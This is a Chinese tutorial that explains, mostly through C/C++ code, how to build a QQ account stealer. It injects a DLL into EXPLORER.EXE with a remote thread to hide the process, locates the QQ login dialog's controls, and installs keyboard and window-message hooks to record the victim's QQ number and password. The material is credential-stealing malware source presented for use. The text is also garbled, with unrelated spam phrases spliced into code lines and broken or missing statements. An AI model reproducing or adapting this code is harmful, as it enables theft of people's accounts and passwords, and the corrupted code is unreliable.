QQ盗号核心编程
QQ盗号核⼼编程
经常有听到有朋友QQ被盗的消息,总感觉做出这种⾏为的⼈是可鄙的,不就是对QQ窗⼝进⾏监视,然后再是记录⽤户输⼊的号码和密码,认为没什么了不起。
对于Windows核⼼编程,本⼈还是⼀只菜鸟,前⼀段时间把《Windows系统编程》粗略的看⼀边(当然重点地⽅仔细的看),由于对于C++有点基础,感觉学起来⽐较容易上⼿。但到了这两天真正实践的时候,遇到了各种各样的问题。即使⼀个⼩⼩的问题都⾜以让我这只菜鸟郁闷⽼半天。直到此时,在完成这个软件的时候,整理⼀下思路,不但算是给⾃⼰个总结,也跟像我⼀样的菜鸟们分享⼀下⾃⼰的经验。
想必⼤家都已经知道,这类软件的特点就是在⽤户不知不觉的时候⼯作。在任务管理器中是看不到它们的,这就是隐藏了进程。采⽤插⼊内核的嵌⼊⽅式、利⽤远程插⼊线程技术、嵌⼊DLL线程、或挂接PSAPI等都可以达到效果,哎,既然是个菜鸟就选择⼀个最简单的来做个实验。
先讲⼀下思路:需要三个进程A,B,C;两个DLL。
初始进程A,⽤于在进程B中创建远程线程,创建成功⽴即退出,不会留给任务管理器任何捕捉它的机会(你根本来不及观察)。
进程B作为远程线程的寄主,选择的时候应该是那些系统中必须执⾏的进程,⽐如EXPLORER.EXE。其中的远程线程⽤于监视⽬标进程。
进程C为⽬标进程在这⾥也就是QQ.EXE。
第⼀个DLL(InspectQQLandDlg.dll),远程线程的载体。
第⼆个DLL(MyHook.dll),全局钩⼦函数的载体。
现在要做是利⽤进程A把InspectQQLandDlg.dll映射到进程B,同时启动该DLL中的远程线程,再利⽤该线程监视⽬标进程(QQ.EXE)QQ登陆窗⼝,⼀旦到,⽴即把MyHook.dll映射到⽬标进程来监视⽤户的输⼊。
这样也清楚了这个软件设计的总体构架,下⾯⽤代码来具体实现。
1。远程线程的创建。先利⽤进程快照取得⽬标进程,相对⽐较简单
HANDLE hSnapshot ;
hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;
if ( hSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}
string lpName = "EXPLORER.EXE" ; //设定需要监视的进程名
PROCESSENTRY32 pe;
pe.dwSize = sizeof ( PROCESSENTRY32 );
for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk; fOk =
Process32Next( hSnapshot, &pe ) )
{
if ( pe.szExeFile == lpName )
{
//取得宿主进程(EXPLORER.EXE)的句柄
HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,
false, pe.th32ProcessID ) ;
//取得⽬标DLL的当前路径(路径可⾃由设置)
char szInspectDllPath[128] ;
GetCurrentDirectory ( 128, szInspectDllPath ) ;
strcat ( szInspectDllPath, "QQLandDlg.dll">\\debug\\InspectQQLandDlg.dll" ) ;
//申请存放⽂件名的空间
LPVOID pszInspectDllRemote ;
int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;
pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess,
NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ;
//把dll⽂件名写⼊申请的空间
WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,
(LPVOID)szInspectDllPath, InspectDllNameLength, NULL);
//获取动态链接库函数地址
HMODULE hModule ;
hModule = GetModuleHandle ( "kernel32.DLL" ) ;
LPTHREAD_START_ROUTINE fnStartAddr ;
fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,
"LoadLibraryA" ) ;
/
/创建远程线程
fnStartAddr, pszInspectDllRemote, 0, NULL ) ;
if( hSnapshot != NULL )
CloseHandle ( hSnapshot ) ;//关闭进程快照
CloseHandle ( hRemoteProcess ) ;
break ;
}
}
2。此时InspectQQLandDlg.DLL已经被映射到EXPLORER.EXE。此时在InspectQQLandDlg.DLL的 DllMain(千万不要写成DLLMain)接受到
DLL_PROCESS_ATTACH消息,但⼀般来说不因在DllMain中执⾏过多的功能(借鉴前⼈的经验,嘿嘿),于是很容易想到开辟⼀个新线程。
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
//下⾯这句会给你创建远程线程成功的提⽰。
MessageBox ( 0, "Code Injection success!", "NOTE", MB_OK ) ;
HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;
break;
}
}
在新线程中要达到的⽬标只是⼀个循环,利⽤while()和循环标志(BOOL)isContinue即可以实现。
在这个远程线程中要完成的第⼆个任务是到QQ登陆对话框中关键控件。
关于这点⽹上有很多资料,利⽤的是FindWindow和FindWindowEx,这是针对以前的版本。在这⾥已经⽆效了,现在QQ在这⾥下了点⼯夫,采⽤的是窗⼝标题采⽤随机字符。
就以登陆对话框为例,对话框的类为"#32770",或许许多菜鸟朋友会像我在最初的时候⼀样,傻傻⽤FindWindow ("QQ⽤户登陆","#32770") ;结果什么都没有,哎~~
其实可以通过窗⼝枚举搞清楚QQ在这⾥到底做了什么⼿脚。
BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
{
return false ;
}
char szWindowName[128] ;
ZeroMemory ( szWindowName, 128 ) ;
GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得类名
向上天在借五百年if ( !strcmp ( szWindowClassName, "#32770" ) )
simsimi怎么玩{
__asm int 3
}
return true ;
}
利⽤上⾯的程序段,在VC调试器中不断按F5且同时在WATCH中观察szWindowName,很容易发现这个窗⼝名字符串是由不超过⼆⼗个字符组成(多次观察),但其中的元素只有0X13,0X10,0X32,字符串中的每个位置都是三个元素之⼀。但在SPY++中窗⼝名中看起来只不过是“ ”,怎么看都只是⼏
个空格(再提醒⼀下,不要试图通过复制其中的内容,效果可是⽆法忍受的,呵呵)
事实上登陆窗⼝可以通过窗⼝的许多确定因素来确定,⽐如窗⼝风格,窗⼝ID之类的,这些都可以通过SPY++轻易得到(SPY++,好东西啊),下⾯也就不多发话了,直接给出各个关键控件的代码。
#define UserNameComboBoxId 0x0000008A //⽤户名控件ID
#define PasswordEditId 0x000000B4 //密码控件ID
#define ButtonId 0x00003EA0 //登陆按扭控件ID
#define QQLandDlgMiniStyle 0x94CA00C4 //登陆对话框最⼩化时的风格
#define QQLandDlgShowStyle 0XB4CA00C4 //登陆对话框在桌⾯显⽰时的风格
BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
报任安书return false ;
long style = GetWindowLong ( hwnd, GWL_STYLE ) ;
if ( style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )
{
hQQLand = hwnd ;
EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;
return false ;
}
return true ;
}
BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam )
{
if ( !hwnd )
return false ;
//取得指定句柄的控件ID
long id= GetWindowLong ( hwnd, GWL_ID ) ;
if (id == UserNameComboBoxId )
{
hUserName = hwnd ;
}
else if ( id == PasswordEditId )
{
hPassword = hwnd ;
}
else if ( id == ButtonId )
{
hLandButton = hwnd ;
}
return true ;
}
到这⾥终于取得盼望多时的hUserName,hPassword,hButton这三个控件的句柄。~v~
在这⾥其实可以⽤
SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );
取得UserName(QQ号码),但不能取得密码。
可以随便下载个*号密码,再在密码框中输⼊⼏个字符,结果可能是失败,不知道QQ做了什么⼿脚,有机会再好好研究。既然此路不通,菜鸟也⾃⼰的办法去达到⽬标。
现在远程线程的第⼆个功能(取得关键控件的句柄)已经完成,接下来要做的事是把MyHook.dll映射到QQ.EXE,这样即可实现对⽤户键盘输⼊的监视。
只需调⽤MyHook.dll的接⼝函数即可
SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;
3。MyHook.dll模块。
EXPORT BOOL WINAPI SetHook ( HWND hQQLand,
HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall )
{
if ( isInstall )
{
hQQLandDlg = hQQLand ;
hUserNameEdit = hUserName ;
hPasswordComboBox = hPassword ;
hButton = hLandButton ;
DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;
hHookDll = GetModuleHandle ( "MyHook" ) ;
hKeyboard = SetWindowsHookEx ( WH_KEYBOARD,
(HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;
白娘子传奇主题曲hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,
(HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ;
if ( hKeyboard != NULL && hWndProc != NULL )
return true ;
}
{
UnhookWindowsHookEx ( hKeyboard ) ;
靠比较软件短视频下载大全APPUnhookWindowsHookEx ( hWndProc ) ;
hHookDll = NULL ;
hKeyboard = NULL ;
hWndProc = NULL ;
ZeroMemory ( szPassword, 128 ) ;
pszPasswordLen = 0 ;
}
return false ;
}
这个程序段很简单只是通过检测远程线程的输⼊安装、卸载钩⼦函数。
如果对钩⼦函数不清楚的朋友,看⼀下MSDN或者WIN32函数集就可以了。
这⾥对QQ登陆对话框线程设置两个钩⼦,⼀个键盘钩⼦函数记录键盘输⼊;另⼀个全局消息钩⼦。
LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
//检测回车键是否被按下
if ( wParam == VK_RETURN && lParam > 0 )
{
//由于钩⼦函数只是记录对密码框的记录,因⽽在最后时刻取得号码会是准确的
SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );
//此处可以⾃由处理拦截到的号码和密码(szUserName,szPassword)
//不要忘了变量还原(szUserName,szPassword)
}
if ( lParam > 0 && wParam != VK_RETURN )
{
char KeyName[10] ;
ZeroMemory ( KeyName, 10 ) ;
GetKeyNameText ( lParam, KeyName, 10 ) ;
if ( strlen ( KeyName ) == 1 )
工作收入证明模板{
strcat ( szPassword, KeyName ) ;
}
}
return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;
}
也由⼀部分⽤户是⽤⿏标点击登陆按扭的,可由下⾯代码实现
LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
CWPSTRUCT *p = (CWPSTRUCT*)lParam ;
if ( p->message == WM_COMMAND && p->hwnd == hButton )
{//同理
SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );
//这⾥可添加如何处理密码的语句
}
return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;
}
上⾯给出的⼏段代码可以实现基本的号码和密码记录功能,但对于具体细节的处理(⽐如⽤户按退格键或是其他),这些只要考虑仔细就可以了没有什么难度,这⾥就不说了。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。